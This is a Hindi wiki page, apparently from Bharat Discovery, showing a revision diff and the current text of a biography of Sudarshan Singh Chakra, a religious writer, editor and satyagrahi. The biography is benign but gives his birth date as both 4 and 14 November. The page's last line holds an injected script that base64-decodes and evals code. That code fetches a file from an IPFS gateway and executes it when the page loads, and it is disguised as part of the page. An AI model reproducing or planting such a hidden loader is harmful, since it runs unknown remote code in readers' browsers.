सुदर्शन सिंह चक्र: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replacement - " महान " to " महान् ")
 
(One intermediate revision by one other user not shown)
Line 1: Line 1:
{{सूचना बक्सा साहित्यकार
{{सूचना बक्सा साहित्यकार
|चित्र=blankimage.jpg
|चित्र= Sudarshan-Singh-Chakra.jpg
|चित्र का नाम=
|चित्र का नाम=सुदर्शन सिंह चक्र
|पूरा नाम=सुदर्शन सिंह चक्र
|पूरा नाम=सुदर्शन सिंह चक्र
|अन्य नाम=
|अन्य नाम=
Line 32: Line 32:
|अद्यतन=
|अद्यतन=
}}
}}
'''सुदर्शन सिंह चक्र''' ([[अंग्रेज़ी]]: ''Sudarshan Singh Chakra'', जन्म: [[4 नवम्बर]], [[1911]] - मृत्यु: [[25 सितम्बर]], [[1989]]) महान भक्त हृदय साधक, साहित्य सेवी, एक अनूठे दार्शनिक एवं सिद्ध संत थे। जहां एक ओर उन्होंने कल्याण [[पत्रिका]] के सम्पादकीय विभाग में अनेक वर्षों तक भाई [[हनुमान प्रसाद पोद्दार]] के सान्निध्य में रहकर धार्मिक [[पत्रकारिता]] के अनेक आदर्श मानदण्ड स्थापित किए, वहीं धार्मिक, आध्यात्मिक विषयों पर 80 से ज़्यादा पुस्तकें लिखकर साहित्य-साधना की।
'''सुदर्शन सिंह चक्र''' ([[अंग्रेज़ी]]: ''Sudarshan Singh Chakra'', जन्म: [[4 नवम्बर]], [[1911]] - मृत्यु: [[25 सितम्बर]], [[1989]]) महान् भक्त हृदय साधक, साहित्य सेवी, एक अनूठे दार्शनिक एवं सिद्ध संत थे। जहां एक ओर उन्होंने कल्याण [[पत्रिका]] के सम्पादकीय विभाग में अनेक वर्षों तक भाई [[हनुमान प्रसाद पोद्दार]] के सान्निध्य में रहकर धार्मिक [[पत्रकारिता]] के अनेक आदर्श मानदण्ड स्थापित किए, वहीं धार्मिक, आध्यात्मिक विषयों पर 80 से ज़्यादा पुस्तकें लिखकर साहित्य-साधना की।
==जीवन परिचय==
==जीवन परिचय==
सुदर्शन सिंह चक्र का जन्म 14 नवम्बर, 1911 को [[काशी]] क्षेत्र के भेलहटा गांव के एक कृषक रामकिशोर सिंह के घर हुआ था। युवावस्था में सन् [[1929]] में वे [[कोलकाता]] चले गए। वहां उन्होंने एक अंग्रेज़ी कम्पनी में काम करना शुरू किया। स्वदेशी अभियान से प्रभावित होकर एक दिन वे विशुद्ध खादी के वस्त्र पहनकर कार्यालय गए। अंग्रेज़ अधिकारी ने चिढ़कर उन्हें तुरन्त नौकरी से हटा दिया। उन्होंने व्रत लिया था कि वे ग़ुलाम देश में [[विवाह]] नहीं करेंगे। [[अप्रैल]] [[1930]] में [[चन्दौली]] (काशी) क्षेत्र में उन्होंने [[नमक सत्याग्रह|नमक आन्दोलन]] के संचालन में सक्रिय भाग लिया। चन्दौली में भांग व शराब की दुकान की घेराबंदी करते हुए जेल भेजे गए। कई बार सत्याग्रह कर जेल गए। वे काशी में संत-महात्माओं के सम्पर्क में आए तथा अपना जीवन धर्म और [[भारतीय संस्कृति]] की सेवा के लिए समर्पित कर दिया। स्वामी अखण्डानंद सरस्वती, [[प्रभुदत्त ब्रह्मचारी]] आदि के निकट सम्पर्क में आए और [[कृष्ण|भगवान श्रीकृष्ण]] की उपासना-साधना में लगे रहे।<ref>{{cite web |url=http://panchjanya.com/arch/2002/9/22/File24.htm |title=श्री सुदर्शन सिंह चक्र|accessmonthday= 20 जनवरी|accessyear=2016 |last= |first= |authorlink= |format= html|publisher=पंचजंय डॉट कॉम |language=हिन्दी }}</ref>
सुदर्शन सिंह चक्र का जन्म 14 नवम्बर, 1911 को [[काशी]] क्षेत्र के भेलहटा गांव के एक कृषक रामकिशोर सिंह के घर हुआ था। युवावस्था में सन् [[1929]] में वे [[कोलकाता]] चले गए। वहां उन्होंने एक अंग्रेज़ी कम्पनी में काम करना शुरू किया। स्वदेशी अभियान से प्रभावित होकर एक दिन वे विशुद्ध खादी के वस्त्र पहनकर कार्यालय गए। अंग्रेज़ अधिकारी ने चिढ़कर उन्हें तुरन्त नौकरी से हटा दिया। उन्होंने व्रत लिया था कि वे ग़ुलाम देश में [[विवाह]] नहीं करेंगे। [[अप्रैल]] [[1930]] में [[चन्दौली]] (काशी) क्षेत्र में उन्होंने [[नमक सत्याग्रह|नमक आन्दोलन]] के संचालन में सक्रिय भाग लिया। चन्दौली में भांग व शराब की दुकान की घेराबंदी करते हुए जेल भेजे गए। कई बार सत्याग्रह कर जेल गए। वे काशी में संत-महात्माओं के सम्पर्क में आए तथा अपना जीवन धर्म और [[भारतीय संस्कृति]] की सेवा के लिए समर्पित कर दिया। स्वामी अखण्डानंद सरस्वती, [[प्रभुदत्त ब्रह्मचारी]] आदि के निकट सम्पर्क में आए और [[कृष्ण|भगवान श्रीकृष्ण]] की उपासना-साधना में लगे रहे।<ref>{{cite web |url=http://panchjanya.com/arch/2002/9/22/File24.htm |title=श्री सुदर्शन सिंह चक्र|accessmonthday= 20 जनवरी|accessyear=2016 |last= |first= |authorlink= |format= html|publisher=पंचजंय डॉट कॉम |language=हिन्दी }}</ref>

Latest revision as of 11:29, 1 August 2017

सुदर्शन सिंह चक्र
पूरा नाम सुदर्शन सिंह चक्र
जन्म 4 नवम्बर, 1911
जन्म भूमि भेलहटा गांव, काशी, उत्तर प्रदेश
मृत्यु 25 सितम्बर, 1989
अभिभावक रामकिशोर सिंह
मुख्य रचनाएँ श्री रामचरित, श्री शिवचरित, श्रीकृष्णचरित, श्रीहनुमानचरित आदि
विषय धार्मिक एवं आध्यात्मिक
भाषा हिन्दी
विशेष योगदान धार्मिक, आध्यात्मिक विषयों पर 80 से ज़्यादा पुस्तकें लिखकर साहित्य-साधना की।
नागरिकता भारतीय
इन्हें भी देखें कवि सूची, साहित्यकार सूची

सुदर्शन सिंह चक्र (अंग्रेज़ी: Sudarshan Singh Chakra, जन्म: 4 नवम्बर, 1911 - मृत्यु: 25 सितम्बर, 1989) महान् भक्त हृदय साधक, साहित्य सेवी, एक अनूठे दार्शनिक एवं सिद्ध संत थे। जहां एक ओर उन्होंने कल्याण पत्रिका के सम्पादकीय विभाग में अनेक वर्षों तक भाई हनुमान प्रसाद पोद्दार के सान्निध्य में रहकर धार्मिक पत्रकारिता के अनेक आदर्श मानदण्ड स्थापित किए, वहीं धार्मिक, आध्यात्मिक विषयों पर 80 से ज़्यादा पुस्तकें लिखकर साहित्य-साधना की।

जीवन परिचय

सुदर्शन सिंह चक्र का जन्म 14 नवम्बर, 1911 को काशी क्षेत्र के भेलहटा गांव के एक कृषक रामकिशोर सिंह के घर हुआ था। युवावस्था में सन् 1929 में वे कोलकाता चले गए। वहां उन्होंने एक अंग्रेज़ी कम्पनी में काम करना शुरू किया। स्वदेशी अभियान से प्रभावित होकर एक दिन वे विशुद्ध खादी के वस्त्र पहनकर कार्यालय गए। अंग्रेज़ अधिकारी ने चिढ़कर उन्हें तुरन्त नौकरी से हटा दिया। उन्होंने व्रत लिया था कि वे ग़ुलाम देश में विवाह नहीं करेंगे। अप्रैल 1930 में चन्दौली (काशी) क्षेत्र में उन्होंने नमक आन्दोलन के संचालन में सक्रिय भाग लिया। चन्दौली में भांग व शराब की दुकान की घेराबंदी करते हुए जेल भेजे गए। कई बार सत्याग्रह कर जेल गए। वे काशी में संत-महात्माओं के सम्पर्क में आए तथा अपना जीवन धर्म और भारतीय संस्कृति की सेवा के लिए समर्पित कर दिया। स्वामी अखण्डानंद सरस्वती, प्रभुदत्त ब्रह्मचारी आदि के निकट सम्पर्क में आए और भगवान श्रीकृष्ण की उपासना-साधना में लगे रहे।[1]

साहित्यिक परिचय

उन्होंने 1931 से 1941 तक धार्मिक मासिक "संकीर्तन' तथा कई वर्षों तक "मानस मणि' तथा 'श्रीकृष्ण सन्देश' पत्रिकाओं का सम्पादन किया। जयदयाल डालमिया की प्रेरणा पर सुदर्शन सिंह चक्र जी ने श्री रामचरित, श्री शिवचरित, श्रीकृष्णचरित, श्रीहनुमानचरित जैसे ग्रंथ लिखे। असंख्य ऐतिहासिक तथा धार्मिक कहानियां लिखकर उन्होंने धार्मिक साहित्य के भण्डार में अभिवृद्धि की। शुक्रताल तीर्थ में हनुमद्धाम की स्थापना में सहयोग किया। वे श्रीकृष्ण के साथ-साथ हनुमानजी के भी परम उपासक थे।

निधन

25 सितम्बर, 1989 को वे ब्रह्मलोक प्रयाण कर गए। उनके द्वारा रचित धार्मिक साहित्य युग-युगों तक नैतिकता की प्रेरणा देता रहेगा।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. श्री सुदर्शन सिंह चक्र (हिन्दी) (html) पंचजंय डॉट कॉम। अभिगमन तिथि: 20 जनवरी, 2016।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>